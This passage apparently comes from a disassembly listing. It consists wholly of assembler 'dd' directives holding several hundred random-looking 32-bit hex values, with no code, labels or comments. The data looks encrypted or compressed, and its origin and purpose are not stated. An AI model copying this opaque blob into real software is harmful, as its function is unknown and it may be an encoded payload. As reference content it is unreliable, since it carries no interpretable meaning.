		dd 8556D2B2h, 0E47DC52h, 68657302h, 0A571BC1Eh,	4B2595B9h
		dd 48100922h, 4ABD8C65h, 84060738h, 83057531h, 0B9924EBh
		dd 5E72503Bh, 2C524A3Fh, 4B80F1F0h, 3FF62920h, 0A3029EC9h
		dd 0BD8C131Dh, 96118AEDh, 0AA73E858h, 0E2B774E5h, 507218B8h
		dd 0B7174520h, 644C58E2h, 7EFF82Ah, 0A952EC42h,	40DF379h
		dd 3B0D2307h, 732A05E5h, 5C0E2516h, 58F811A9h, 0CA6848F6h
		dd 757124CFh, 8909872Eh, 1D536894h, 2A7E5C30h, 56F5338Ch
		dd 32EFB724h, 0EEF29E65h, 19F314E8h, 33EC1BDEh,	0E867E4F8h
		dd 0DAF8FCC7h, 77832414h, 0E871E8C7h, 4EFC2A0Bh, 775BF852h
		dd 0D377128Ah, 0EFF06266h, 0EFF4081Fh, 0B268F047h, 6A12F80Eh
		dd 2CBD1B0Dh, 5A0B0112h, 1A457C5Ch, 6F211835h, 7B2C1858h
		dd 21BBB793h, 0D2B81EC9h, 0CE774413h, 0B9680515h, 0CC2771EAh
		dd 424C08ECh, 713BCF15h, 5DCA682Fh, 29D85FDh, 881063CAh
		dd 0D50C9AEFh, 0ECCCEB30h, 8C412888h, 6D07FE20h, 2A27D8C7h
		dd 0C4B8D64h, 68067E50h
		dd 4158933h, 3B23575Bh,	0C440ED08h, 822651C3h, 0C4EDCCE8h
		dd 2D6595C4h, 7B14D008h, 0EF73A811h, 0AE147264h, 31962B6Dh
		dd 0A406FCEEh, 0CCD943ECh, 3C165C3Fh, 0D0959884h, 641BDE7h
		dd 478296C2h, 5541226Bh, 962A228Bh, 458E16A8h, 4247298Ch
		dd 68131822h, 20FC1060h, 658D8CCAh, 26A2642Eh, 16F5CE0Fh
		dd 4EA84218h, 380FAC11h, 0F024078Ah, 8DC5050Ch,	1880C05h
		dd 0C0F1470h, 0C6028F40h, 92110940h, 0C0A2D70Ah, 0C911048h
		dd 0F21A9466h, 164C7EE5h, 47C83FA0h, 40DF379h, 820D2407h
		dd 0F20797Ch, 0A4065F8Dh, 898153C8h, 0A0F0A829h, 52189006h
		dd 209091Fh, 0B8D6840Fh, 200D5238h, 21A2003h, 45A3E958h
		dd 49FCFFD3h, 0AB590701h, 0D1CE3808h, 6B886809h, 0E8EC0120h
		dd 15134D43h, 111A16D9h, 453F3D59h, 627B731Eh, 0D11CBB32h
		dd 0A9231222h, 97E2B610h, 0AC859015h, 74148773h, 12ABC67Ah
		dd 70BB4DFh, 0C651C803h, 868119BDh, 0FFAD431Ch,	217B0246h
		dd 0A2E5940h, 42561CC8h, 0AAF8B10Ah, 9064230Bh,	3942F230h
		dd 2847F66Fh, 56AAC508h, 62121B21h, 6E1611F2h, 0A5C5A5Ch
		dd 0E82F96E8h, 7187950Fh, 78230FD1h, 4B3D69C4h,	119F100Ch
		dd 31E4B1E3h, 2F5294EBh, 475CB43Ah, 0F11C882Bh,	64231A0Dh
		dd 55F24390h, 0BD82E930h, 0E817C1CCh, 95E3A9DBh, 6E4EB426h
		dd 273E32D6h, 0BE080745h, 1C6059A9h, 1A114314h,	12831DE9h
		dd 9F847730h, 88345128h, 1C88718Ah, 3B1048E0h, 0CBDCB7B3h
		dd 0A9588463h, 0A946102Ah, 12AF34A8h, 10AC2290h, 49572987h
		dd 7157648Ah, 6365F25Ah, 15A8DDC2h, 54A8CB08h, 0C812B957h
		dd 954356A7h, 0CDA37694h, 0F9DF38F4h, 8E84E719h, 0A8621028h
		dd 0BFDB8ACh, 63CD8F3Dh, 1BA833F1h, 0CAC6243Fh,	6D10F15h
		dd 0CA0C520Fh, 4E79913Ch, 11632719h, 0C8B3A7D7h, 0ADB96CFCh
		dd 0F4AA100Fh, 43E0ED2Ch, 90F28F0Eh, 2822EBC5h,	0A74C78EAh
		dd 52CEAC46h, 0A5CAEA0Eh, 1080243Bh, 0B0129FACh, 33E6029Dh
		dd 68D837BCh, 1A730922h, 3542158h, 0D0E08A11h, 8D72E050h
		dd 1880DA0h, 0D2CBEB3Eh, 1CC01244h, 7C7339D9h, 9789661Eh
		dd 824A1102h, 4821647h,	0F9296EE8h, 52739F7h, 1A1820E2h
		dd 8584188h, 7C895E18h,	0E874987Eh, 12E3AC2Fh, 6E1E2C60h
		dd 4067AC0Ch, 13A0B514h, 20A521E8h, 820AB1B2h, 55F245E9h
		dd 0CAE849C8h, 6FA5A670h, 0E291612h, 0A09A6CDh,	57148A8Eh
		dd 1A7808C5h, 106A2518h, 0E085D16Ch, 5B9A32A5h,	42C5BC77h
		dd 0C1C6B82Bh, 9DF0682h, 22D64C5Bh, 7896396Ch, 29F5AEC2h
		dd 95393FC1h, 5A377D20h, 0CCA86E59h, 83943B09h,	8211D9FDh
		dd 212F42F9h, 9047217Fh, 0F7769A25h, 0CED52BCh,	2B1C8106h
		dd 2903BB92h, 0E81770C4h, 0CE90CDAh, 0EF85EAA3h, 22AA1674h
		dd 39D9DD5Fh, 7097D425h, 17D8A705h, 0E11BB430h,	10F2DC7Bh
		dd 29A74384h, 2833169Eh, 0B4D9DB14h, 81D5D8BAh,	0D102AD2Fh
		dd 12C795B7h, 1C61B1C8h, 7A0BB5E8h, 518F788Bh, 917F1BB8h
		dd 0B90E7D14h, 2580A11Fh, 1355CBC2h, 242E45B5h,	898860BFh
		dd 83C4B188h, 4E7E6431h, 3AF4212Dh, 7F4764B8h, 9068178Ch
		dd 0C4CFBD8Ah, 424455E5h, 1A102236h, 1E04917Fh,	4110947Eh
		dd 0EBE80822h, 0B0726B0Bh, 0F6457C6h, 135FAE90h, 214F2EA6h
		dd 2A0BB48Dh, 510BEC8Bh, 8CFA8068h, 0F63C8522h,	0B38A4BF0h
		dd 70EB928Fh, 8AE068EBh, 98716797h, 0CC685F7Ch,	42BA13A7h
		dd 7464B423h, 44369C22h, 3D518378h, 22C6433Fh, 90701221h
		dd 40867D19h, 8867810h,	9C05C607h, 57E60192h, 2BB73C2Ah
		dd 10A55756h, 0A119616h, 29F24920h, 0E101612h, 0F64BC293h
		dd 6525225Ah, 6FD67EF4h, 0D0F5E40Dh, 0A5ABEE8h,	0D1890DB6h
		dd 63E47619h, 1A2C6F7Fh, 2212C445h, 26850B49h, 0EC4AA991h
		dd 401FD072h, 6FA47CBEh, 732C0E50h, 0FAE951A1h,	3B65BE4Ch
		dd 0B1E47386h, 0C119C7ACh, 0B3D9A9E8h, 1AECCB39h, 825925D3h
		dd 16FF0A07h, 433F84C8h, 93442134h, 80923F4h, 0E759116Ah
		dd 0D022094Bh, 0B1939754h, 0FB65EB4h, 73F804C0h, 8D146852h
		dd 6051A5D7h, 4911E89Ch, 0F0CADA0Ah, 2F734D68h,	0DB557FA4h
		dd 14E0BC5Eh, 28C48996h, 7694FC68h, 0A32F206Dh,	9A514F3h
		dd 9FEB85E8h, 0C410CA2h, 0FC5700Ah, 0ADBC783h, 4475F23Fh
		dd 10682D41h, 38D5D809h, 84FED037h, 8F12DAEDh, 9AF53200h
		dd 5ED80892h, 31622F36h, 0B545BFF4h, 705E1D19h,	10903C22h
		dd 0EB7FA4CCh, 846A8D2Dh, 0CCBBC4DEh, 1AACD8AFh, 0B715FEA2h
		dd 2595A8BFh, 0D51C439Fh, 8CC8197Ch, 0C1E6085Eh, 40C4D43Fh
		dd 8ED57B86h, 4293EC9Fh, 0C4CA64D4h, 746B3224h,	0A378D82Bh
		dd 5CAE9D97h, 0EBD12D59h, 65FED408h, 4E36397Ch,	87DC546h
		dd 23459FE6h, 46FE56FDh, 883FF1E4h, 4E9D485Ah, 0D35621Fh
		dd 1A417701h, 0F22BAD2Dh, 0FED32196h, 1B755C04h, 0E8C3B98Ah
		dd 0EDF59489h, 24474907h, 0E9D025BEh, 6117D265h, 14392DE1h
		dd 17EB0091h, 941D1048h, 8EE6F1Fh, 0ED8EEF4Eh, 5FE902D8h
		dd 9E8A5E4Fh, 0E707D313h, 223B4C95h, 0A76827B0h, 58948553h
		dd 7B9C4AFh, 0A8A293A8h, 97C92B8Eh, 548F9177h, 8476D023h
		dd 12F012A1h, 5613AB8Bh, 0C7382281h, 0A91C6810h, 5C954E7Eh
		dd 71611C45h, 7BB29822h, 0A73BFFA5h, 0EF8C7905h, 0DFB5408h
		dd 0C29631F2h, 0C8707109h, 0E6044A2Ch, 0F997568Dh, 5E1A6893h
		dd 0E49074EAh, 90CE1987h, 68AD20F9h, 10AD4FEBh,	188A70B4h
		dd 7A45C9C9h, 821491Fh,	0A097FE54h, 0A4A76B8h, 90C587Ah
		dd 0DA7E32ABh, 0E83E98D2h, 0F6064B79h, 422E89BFh, 4263534Bh
		dd 54460665h, 8B446812h, 447CA29Ch, 3043A063h, 0AB2092DCh
		dd 0C14FE72h, 8D9421FEh, 9174E862h, 913EF85Bh, 0C2437986h
		dd 7D942EE6h, 0C8735C94h, 57801981h, 45122C76h,	40E79B09h
		dd 0AB058AE2h, 0F89E261Eh, 0B210E4E0h, 9A659D95h, 54B68ACh
		dd 2205CCF8h, 36B9BBE9h, 4BF1BC92h, 65DB3FB8h, 0B4B0BF4Eh
		dd 0F2C59D98h, 8245F0A8h, 7CAE886Ah, 353AE481h,	0CA69AA7Eh
		dd 843B0F98h, 1EAB5173h, 0A8D8BFF4h, 9F0EA538h,	0F32A900Dh
		dd 1E1CF21Fh, 0E43167Eh, 97F10C2h, 2EC0C631h, 91A053EBh
		dd 121C8948h, 48E3206Fh, 8A8415B7h, 0A2036CA1h,	5E14753Ah
		dd 223D77A9h, 0FA442B30h, 66BEFC13h, 33C81241h,	6AB83B24h
		dd 7014872h, 0FAECF8A3h, 2DA06632h, 4B4C0E13h, 8CE64E7h
		dd 1A7E156Bh, 9D46E884h, 39563EAh, 0DBD0FC9Ah, 97A5DE4Eh
		dd 2FFE116Ah, 173906E2h, 0BD850C1Ch, 64850640h,	9C147710h
		dd 0F5161062h, 0D812DE07h, 44124E1h, 0EBC5986Fh, 724F1896h
		dd 4402A05h, 30FC2DD4h,	6A23DA33h, 84F684E5h, 2A2E8C59h
		dd 3CA7084Eh, 0ACC74F7Ch, 0CB99550h, 456BEB80h,	8428E78h
		dd 4944F8A7h, 0E6E27048h, 2423E07h, 1CE32722h, 34485C4h
		dd 4D8D0A24h, 0F30FC99Eh, 0A076DF74h, 0BC035B29h, 0FDF0424Ah
		dd 0C79C1BFDh, 0E1FF6F88h, 52FDCE3Eh, 4535188Ah, 30175203h
		dd 3E755C03h, 11BD2CA4h, 5C60127h, 0AC481213h, 62728C95h
		dd 3D14F9E7h, 36C76E20h, 4BBAA0E8h, 85FAAD02h, 5F248194h
		dd 29B63122h, 2711BE88h, 0E8421556h, 2D210FBh, 4968279Ch
		dd 2200D0AFh, 798FBE8h,	5324F45Fh, 0EF6A2536h, 85B1508h
		dd 9465A4E3h, 6337EA6Ch, 97A31006h, 28273C0h, 0EC44DFA6h
		dd 5F2CDA8Dh, 78FC0A11h
		dd 4F93471Bh, 0C2AF0E2h, 4B0F733Fh, 0DDDCFC19h,	14E7E4A7h
		dd 30167502h, 8B646882h, 2D6364D4h, 31AF856Ch, 2B04FC8Dh
		dd 561563E1h, 1EBC50FFh, 3590FC8h, 20CF949Ch, 93EE6858h
		dd 8369081Dh, 955D56A5h, 9B4C068Bh, 0D478BD4Ah,	48099072h
		dd 907456Ch, 2931390Dh,	3155D72h, 0D0E04E11h, 54682550h
		dd 0FEDC0E11h, 9701C510h, 0E01F3A73h, 609951E2h, 3D03D141h
		dd 1F726E41h, 0B30B1649h, 0D16B7A10h, 0D044D07Ah, 2CA1DF3Ch
		dd 0C8761564h, 42C83846h, 416428C8h, 0C50D6725h, 360C5435h
		dd 9414288Bh, 0AB11C297h, 0EA3F7EC8h, 3C156756h, 0E47F683Bh
		dd 0E81258EBh, 686C2154h, 13DC0C28h, 1CFEFC21h,	0E2321D8h
		dd 109B8B0Eh, 35460D43h, 0B422EC29h, 259FBFAAh,	0E4212042h
		dd 513BE2A7h, 14423BFCh, 41A93074h, 2262409h, 81E0682Ah
		dd 4AB3E834h, 282499BBh, 33679A1Fh, 5D6ED52h, 71C4871Ah
		dd 9115C25Dh, 9AC7B114h, 6928880Bh, 483B8877h, 0B74B2D51h
		dd 0E8C211C8h, 0F91C890Bh, 1F9AE89Ch, 0E462A120h, 84019FEh
		dd 128B86E8h, 0F3AEC3DBh, 0F5F86ED7h, 3C23AFD3h, 0FD15DE01h
		dd 8A44325Ch, 7128864Ah, 74123C06h, 3223B572h, 0E8086416h
		dd 154611D4h, 8C4F4815h, 0EA4450Ch, 27022152h, 4EA18B59h
		dd 880E2451h, 0D039FA4Ch, 9BA01608h, 3F680E87h,	0B3D50F09h
		dd 0AEF8DADCh, 0CC26B7D1h, 3F14455Ch, 0AE5E3E88h, 53F846F9h
		dd 1D12D193h, 99A5CAE8h, 11581079h, 318E86B9h, 0F1403C44h
		dd 3A650F4Dh, 82D2407Ch, 0EB27107Dh, 4C40EBAh, 0D547135Ah
		dd 124A8390h, 30D8C943h, 0FE4E340Fh, 0DFFFD834h, 263B3103h
		dd 0CA3E1D73h, 25195DE1h, 0AC8A510Dh, 0EB794CF6h, 4E10D45Fh
		dd 0CD69F4F6h, 42639E7Bh, 0F9818FC0h, 5E495902h, 0F90EB031h
		dd 0C5983829h, 0C01FE28h, 9656E804h, 0E01CCC3Eh, 44282995h
		dd 964423A4h, 3E88BD3Fh, 0F57EEE0Dh, 0FD07BA4h,	0CAE02EA4h
		dd 8E846805h, 83F69BE5h, 1CE80598h, 25FD5FC8h, 48C78719h
		dd 0CFD57DDh, 25F997F8h, 890E4F94h, 0BAC829DCh,	779E9272h
		dd 14BE23Ah, 0A7503348h, 0A487D8A4h, 6549DE39h,	9C175A61h
		dd 28680310h, 0DC10DFD9h, 71E05088h, 39BB8A27h,	2DB1F3ABh
		dd 41F7E5E8h, 3C780AC9h, 0D108BC4Eh, 6DA42B09h,	0FDE85332h
		dd 0E5976336h, 368889Fh, 152AC526h, 0DC214CAEh,	317872FCh
		dd 0F25051B5h, 7BD10D11h, 88F7CB87h, 0BC9C55CBh, 9991C495h
		dd 0FE954964h, 5F1243BBh, 376034FCh, 31344442h,	7625D4E8h
		dd 3246151Eh, 54D92D21h, 18B91D09h, 12B9072Ah, 684079A7h
		dd 5B70D132h, 298C2264h, 5A795BE8h, 0E9D2436h, 50CDDA3Bh
		dd 8528F01h, 505E95D0h,	49E915BBh, 5F75054Eh, 27C3E2C7h
		dd 0EEBCC0ECh, 29689B93h, 0FEE8421Eh, 0EB122215h, 0A62AFBFDh
		dd 8865422Fh, 5A1268B9h, 0B152C31h, 5E483F88h, 1A7732E9h
		dd 572BBA0Fh, 190F6EE5h, 0FBEAEC68h, 0E18E538Ch, 0C5FBAA10h
		dd 62ED97E9h, 0A8C84290h, 0F3D0245h, 0FAF17E19h, 808ABCDBh
		dd 0D126F7Dh, 9A30EB9h,	2120A33Eh, 0FA6C8E98h, 97E39F11h
		dd 0EE6CA166h, 1AE8122Bh, 76AC4625h, 0A7017828h, 448924ACh
		dd 540C587Ch, 34C3A472h, 0B390B6E8h, 0F1E8C525h, 668FAF52h
		dd 0A5A8BA48h, 909DF84Ah, 37BC33E6h, 0D1B6A4D8h, 894D7343h
		dd 909115FCh, 0F9B0C4FCh, 0F9AD7736h, 68942508h, 32317A15h
		dd 0A5C70E7Eh, 31C50993h, 581F2A23h, 44AF2461h,	326834B5h
		dd 158584C1h, 0AC888C90h, 242A08FAh, 0DC2FA2DAh, 8DAF6EF9h
		dd 0E8211052h, 0BE99A70Ch, 32FA4A92h, 78BDBC8h,	361F0A41h
		dd 12A02224h, 0C96402E8h, 7F925D23h, 1AEB81CCh,	9B9AE950h
		dd 50B24A47h, 317C9260h, 19FEF852h, 0B0C40B89h,	0CC5F2E63h
		dd 1644F048h, 80F87086h, 218E01BDh, 40EFE38h, 0F3A110F8h
		dd 5CD4DF7h, 2CDF0D18h,	68868BBFh, 47165408h, 0B4BFD830h
		dd 8AEF28B5h, 5FB65A3Ch, 71270621h, 2B30815h, 2AB60F0Ah
		dd 63F8838Bh, 31192187h, 429056A5h, 0CC5DE914h,	49074CD5h
		dd 8B12F97Ch, 0B58913A4h, 3A42E99Fh, 0D6201F32h, 0A80C221Dh
		dd 84FA38CEh, 649C0656h, 0A8A50439h, 0E545568Dh, 205B5119h
		dd 2E904BF9h, 4A2D33E8h, 51357B3h, 0E010D322h, 35F395DEh
		dd 52EC1932h, 0AB551F0h, 0A6509D1Ch, 0B868363Eh, 52221835h
		dd 0ECE814FEh, 14286960h, 6C755845h, 0F3520839h, 0F63B0A93h
		dd 33C66582h, 34565BCCh, 35E8C20Bh, 869946DFh, 0DEF52D0Eh
		dd 0E9139564h, 32BB01A9h, 2A9124E6h, 510FAD32h,	0F9BCC7B4h
		dd 0D1B316D5h, 34C826D0h, 46581C64h, 57A2DC09h,	2086615Fh
		dd 448E2BA3h, 0BD356770h, 29AA1910h, 9EF89731h,	5E118DDEh
		dd 31A112C8h, 6DA85A10h, 0CF1B898Dh, 0AF5859B1h, 9B553F2h
		dd 0FF15E920h, 271C850Dh, 6168804h, 94245BCh, 93F4E44Eh
		dd 0B52125B7h, 0DD360E11h, 0BE829E2h, 0B5DC2762h, 14317245h
		dd 6848CEB3h, 0F04E8555h, 0B41B18F2h, 201BFE29h, 0B822E88h
		dd 0E8149B36h, 0A265DDA6h, 4E4ED50Dh, 6526E934h, 25532132h
		dd 477E3359h, 8ECB194Bh, 0CC228139h, 40C41C99h,	2CF41437h
		dd 0EE15F7D7h, 1A44564Ah, 75343893h, 0D03C9F0Fh, 0B1550C9Ah
		dd 22FE40A8h, 0FF3220C3h, 3014F00Eh, 0AF518BCAh, 0CCF89484h
		dd 2F865A75h, 56795E77h, 3B053CE5h, 5722D214h, 4B342838h
		dd 38E756DCh, 8C2C7C8h,	48A1DF4Fh, 34E842B2h, 6C779D93h
		dd 0CFB8DA6h, 838810Eh,	0A5DC6184h, 578B9BEBh, 388D621Dh
		dd 96088922h, 74328A96h, 0F3E68B67h, 4A539D66h,	100A8818h
		dd 95A5D3CEh, 1D46B70Ah, 0C9451A20h, 12403723h,	732D2768h
		dd 1CDD9860h, 524BCC97h, 0E8141618h, 8C47419Fh,	36DBF811h
		dd 8E0260E9h, 0D4F135EFh, 8D367123h, 986C7A1Fh,	752C8410h
		dd 8BAD4926h, 7054D4BCh, 798C8BF7h, 4B7DAB74h, 6332853Dh
		dd 0D85A2D07h, 1D5013CBh, 9413BD79h, 6E032F5h, 49E5DE1Ah
		dd 97ED5BD8h, 9A5F04Ah,	9D2AE4D6h, 0EA75E407h, 69F0A228h
		dd 0B6D790FAh, 0EAF453FFh, 98F2DF11h, 6B2C68A2h, 39DC668Fh
		dd 0D3465D5Ah, 68F430C1h, 0FF51764Dh, 0CE7B1D09h, 0E8816323h
		dd 0CF724E94h, 82C29DFh, 9FA3F2A5h, 8E97D08Fh, 75200AA2h
		dd 80470E0Bh, 0C9B052ABh, 0A3DBD404h, 56E2DCADh, 0AB845BDh
		dd 0EC0D1A74h, 0C164D06h, 28EEC13Bh, 0D25EEBF6h, 0E3E8E175h
		dd 2FEC188Ch, 0F2A722DDh, 78E49750h, 0D225E82Bh, 14611421h
		dd 241911E8h, 73B7F1BBh, 89E125FDh, 1A66F2CCh, 4CF1C9B7h
		dd 1602FB44h, 9007BBE8h, 0B7104D3Ch, 3F144D49h,	0FD087C92h
		dd 9C7D3832h, 0C43BEE60h, 0AF8D0FB8h, 9FFFDCDh,	817C8359h
		dd 5D50A341h, 0E8E88A4Ah, 40CC4972h, 498C555h, 3C29318Ah
		dd 16509481h, 4DF9F0Ch,	6BE22B14h, 9315DEC5h, 75A7BDF4h
		dd 0ECCF4FA4h, 0A289EE55h, 0AC42EB81h, 0ACF844C2h, 413484C5h
		dd 0A5B2478Dh, 1AE029F1h, 9014211Eh, 48F8A027h,	89085AEBh
		dd 2E53A9B0h, 57565387h, 7D37A6B9h, 851000E9h, 831874C9h
		dd 0E4EB01F9h, 8812068Ah, 6D018407h, 4947460Bh,	142E21A4h
		dd 5F09B8C6h, 0EBFE5B5Eh, 129BA774h, 30DD3C22h,	0E107C29h
		dd 7D7F3962h, 0C0323183h, 1B062A7h, 9329A245h, 0BAF06809h
		dd 0F4F1992Ch, 502FDA0Dh, 312B0C10h, 627F1239h,	0A2884657h
		dd 90CC99Fh, 2C74F102h,	0F9B513B6h, 16169578h, 7522E9E2h
		dd 48A9D421h, 83F4C48Bh
		dd 0FBA43706h, 0A408899Ch, 0E1619F13h, 0D9460A8Ch, 61D475B3h
		dd 0D34F6EEBh, 0E740D0Ah, 750A580Eh, 6DA74D5Ah,	0D03FC86h
		dd 14364D59h, 2B2D0104h, 626D1212h, 8012B8E2h, 74016924h
		dd 256F0CBBh, 0D9B9A98Ah, 0A8532D09h, 0DDD40814h, 889418Dh
		dd 92216552h, 69F3E411h, 4BBB1915h, 486153C4h, 292E5DCEh
		dd 46C27E34h, 0C84DCDF4h, 0E8111737h, 0E36A988Fh, 0FD54D3C7h
		dd 5662DE4Eh, 0C04F9A08h, 88098A63h, 53D54BFBh,	993D8B13h
		dd 1368355Ah, 13582F89h, 49289A89h, 6E893B37h, 305948D9h
		dd 66A99EAh, 22EB2B44h,	0FE7ED191h, 0B5977A2Dh,	49C451Dh
		dd 42B953D5h, 752E82A2h, 0AD24E515h, 19C0C5Bh, 2332EB4Ah
		dd 11948BE8h, 1605B422h, 112614EBh, 24C08E5Bh, 58E4A0EBh
		dd 0D0B12E6Ah, 7EFB950Bh, 7E0358D1h, 0A796CDB4h, 0A518B632h
		dd 6481445h, 320C6410h,	91FED3FCh, 331F4C62h, 0E2020D42h
		dd 92032422h, 38EE6D3Ch, 9F55B4D0h, 0D97EE760h,	821A1423h
		dd 1ABE14E8h, 81583B43h, 1AFEFA15h, 181821E2h, 0B2E042E8h
		dd 798B7607h, 0D9F76B51h, 22E7722Eh, 140240Bh, 6A24860Bh
		dd 4697AD0Ah, 256DB0D7h, 399985BEh, 0D61A723Bh,	3A61E734h
		dd 0B1DE7473h, 85E9690Bh, 2BF51C2Ah, 861EB249h,	256A4C1Ah
		dd 4F2E3674h, 3A1030C9h, 0A9D2ED11h, 40123FE8h,	6D151188h
		dd 0DF21186Bh, 54F0D8E8h, 880D1263h, 8853E921h,	0EEAB9D40h
		dd 79EC7289h, 772915EDh, 6812BCD4h, 91638950h, 0D895638h
		dd 1E4C8DF6h, 0F68A8647h, 5D0CEFC9h, 2C11EA46h,	5FAF2618h
		dd 0A2431395h, 0E7C51A04h, 44131126h, 0BCCC18E2h, 48F9C409h
		dd 2FB7E7D0h, 8C146D60h, 389FD36Ch, 0DF566F41h,	0B772DCA1h
		dd 4DC00866h, 4FC1DBA1h, 91D92126h, 44D422CCh, 0ECBFE4DCh
		dd 289953F0h, 85ADB1C8h, 0F32ECC2h, 0B55C2BA2h,	0F7DEA8CDh
		dd 48450EA8h, 82F0126Fh, 3CABFEA2h, 1E8979D0h, 0F45F4CD0h
		dd 0E82BB3A6h, 0D8451E09h, 98FC7932h, 53EBE8CDh, 0E0CA1EFDh
		dd 0A1BD6893h, 0CDE88AE7h, 4475E81Eh, 624150D0h, 4654684Eh
		dd 2FA2907Eh, 0D7C4EAFCh, 65E2D197h, 625C2420h,	2D46E84Ah
		dd 44FCBA23h, 0A5F02CA4h, 1507ABA8h, 4C82892h, 0B6235627h
		dd 3FEF1980h, 6AD69477h, 0C85971DDh, 0F4C5E42Fh, 53E86645h
		dd 31E01762h, 0E8814CF0h, 23173C56h, 0F8EC14FCh, 0EA25E8C2h
		dd 0A7A3A773h, 0ACE8D248h, 0A9D22A14h, 82D1438h, 33DF0C1Ah
		dd 0A3104B0Fh, 0C02D4B4Ch, 37254F26h, 0D26E7F5Eh, 0A419D7DCh
		dd 0F86CC90Ah, 77E98066h, 0DDEB15ADh, 0D7339623h, 11834AB8h
		dd 639E3DBBh, 0B1A53F1Eh, 3D55FC94h, 0EAF4F6D2h, 1EE85353h
		dd 0C1E5A7EBh, 0D154AA1h, 2920D140h, 42BEAFB7h,	202BF81Ah
		dd 23695C64h, 27B86E14h, 953A310Fh, 14E8B1A7h, 395FADFFh
		dd 0E44AFFE0h, 999E21B3h, 22B2DD2h, 75C00B1Bh, 7E9886A0h
		dd 4AA0524Bh, 2620B9EAh, 351732BFh, 6AB4FD28h, 7709B1F2h
		dd 0A15772BAh, 0F424006h, 45AF1699h, 813F3864h,	0E98FE8F8h
		dd 16782647h, 6443C3ECh, 1A65BB84h, 7709E5F8h, 0D9427213h
		dd 0B737783h, 714B3321h, 85420C47h, 323237C4h, 0C8261017h
		dd 1E435C21h, 10441923h, 8730A30h, 7B7B4A97h, 49EC2029h
		dd 1B276DE8h, 5ACF5B58h, 0DCF42A13h, 1A691E4Dh,	1F6A51C2h
		dd 70AA5FFh, 0AC9660A8h, 9D702028h, 98A5DDD1h, 69608018h
		dd 0B4E1B303h, 91429313h, 0EBF94761h, 278ADF79h, 0A9B1EE3Bh
		dd 8FAAC554h, 750105Bh,	8B2BA555h, 0F9341034h, 21E7DC9Dh
		dd 0BC177446h, 0F8CC0883h, 2BC4A6B2h, 52C9975h,	0B102E9Ch
		dd 0B20FE8C1h, 0AE67F5DDh, 0F314A910h, 241D78C8h, 0AD920E91h
		dd 8B4566DCh, 93A80656h, 1518008h, 0F9182AB1h, 0C2D9DF0Ah
		dd 66A21017h, 0FADC2320h, 6A0B01D2h, 2943593Ch,	8935A1Ch
		dd 0FDBB15E6h, 0F3B5307Dh, 4FC5261Eh, 11B32BDDh, 361A6D18h
		dd 91652D2Eh, 5E667828h, 9462CBE0h, 5D246A5Fh, 0FEE44791h
		dd 1759C513h, 740C3049h, 92E5FB41h, 32F00A43h, 8315689Fh
		dd 750429A1h, 0E8129134h, 812BF270h, 0CA0113F0h, 642F910Ah
		dd 10134BA1h, 2660A202h, 3D8ED7E9h, 0B85B1546h,	22214291h
		dd 76EB2B5Ch, 285A641Eh, 18EB8458h, 42388505h, 3A445088h
		dd 1085017Ch, 511C884Ch, 990B1913h, 0E4AC4429h,	3DF5E817h
		dd 0C1543F4h, 89290A8Dh, 80E884F5h, 0FDDCEFBDh,	924088BCh
		dd 3C0C818Ch, 0AA98B12h, 0A5806221h, 64A5B884h,	25F70Eh
		dd 89A20F52h, 17DD789Dh, 67C958Ah, 0B4808D08h, 88125DB0h
		dd 8306F914h, 0AA73F4A5h, 5007029Ch, 236C168h, 0C34456Fh
		dd 0A5D6E892h, 75C6A7FCh, 0C442525Ch, 4A91E66Fh, 0AD0A3B8h
		dd 344D5029h, 0B71F1F0Fh, 1E917479h, 5F4FB594h,	0F104A5DDh
		dd 0A67270FCh, 88E81329h, 4252A6F5h, 97282223h,	9CF92584h
		dd 0F84EB82Eh, 0C40A5CBh, 1F9150F4h, 21FA47DCh,	0B190EFB4h
		dd 0B01CF918h, 4947BE87h, 1AB2D384h, 0C675690h,	0B445D81Ch
		dd 4BC0C5Ah, 1634B00Ch,	0F5CC274Bh, 0C8214810h,	0D9C5E889h
		dd 12149510h, 542DEC2Ah, 86E406E8h, 7439F054h, 6E68FB40h
		dd 25BCE104h, 0E8586A74h, 0C4E4581Dh, 6B0F548Ah, 1831ABF9h
		dd 0E810F938h, 0BB974D93h, 251F7E23h, 0E4C40FA9h, 6D97A7B8h
		dd 0E3748E05h, 5F28A211h, 7A2D001Ch, 68F921D7h,	0DC2E9274h
		dd 8344ADFFh, 8D0D46A1h, 0C42D612Ch, 0E320E809h, 17C405C6h
		dd 9B5D7DD6h, 0B14A2339h, 23DC25F8h, 57A73DB2h,	0CE57DEE2h
		dd 60F8E79Ch, 1BFEFDCBh, 2DB807E1h, 26EB1D2Ch, 2B7364B8h
		dd 0F0F3D0Ah, 0F1E40D73h, 4B6036E2h, 5A37D7D4h,	165C2516h
		dd 0F16BFEEDh, 17662CA8h, 20E671E8h, 0E6C507Eh,	0F87E8C63h
		dd 55238442h, 9090F41Fh, 0F0C74788h, 3922A0E4h,	0B0F9EC31h
		dd 0F18C2B08h, 60F362Ah, 81F0F440h, 0E9E802ECh,	0D8150689h
		dd 45F384Fh, 0DBA7D1B2h, 0C4228670h, 1886B68Fh,	0E8D11FEAh
		dd 519F2FD7h, 0B10F0314h, 0F859885Eh, 50C8484Dh, 5BB77A92h
		dd 2AFC1057h, 13B5068Bh, 0E78F4AC7h, 0CB2775CAh, 841B66E1h
		dd 7C7E220Eh, 0C8902A85h, 88F0F8CFh, 450EE8A1h,	0E12A1354h
		dd 437A4EE7h, 0C72A1343h, 0F037DFF6h, 13BD9551h, 7FDAA506h
		dd 233487D4h, 0CDAE4335h, 802C113h, 1CFD42F8h, 2123E1B3h
		dd 3B36110Fh, 730ED359h, 24AB551h, 7AC6C985h, 3F2073BDh
		dd 0AB4737B5h, 5613C99h, 99BB1205h, 38ABA377h, 0AB35ED44h
		dd 2B23FB9Eh, 0E8228FBCh, 35133EEh, 423D2849h, 0CAEC735Bh
		dd 88285045h, 0FD820F12h, 321043E6h, 980E3920h,	80C8E354h
		dd 8D48EB59h, 901A412Fh, 0A584D4B4h, 0ADDF21D8h, 9DD90D40h
		dd 25628AD0h, 48215B3Bh, 9FCC91C8h, 0A07B9F62h,	0FD532AA2h
		dd 86DC22CEh, 2A814262h, 0EB29128Bh, 3166819h, 63064BAh
		dd 550EE90Ch, 9AF6595h,	0B4DC0A7Ch, 84F5A078h, 42E00538h
		dd 8DFF487h, 10B3132Dh,	84FBEC3Ah, 0D198DFD0h, 0C8EEBDDCh
		dd 0BF4C4CB5h, 752E0546h, 0F42DF036h, 12FB7905h, 0DE2CAB8Bh
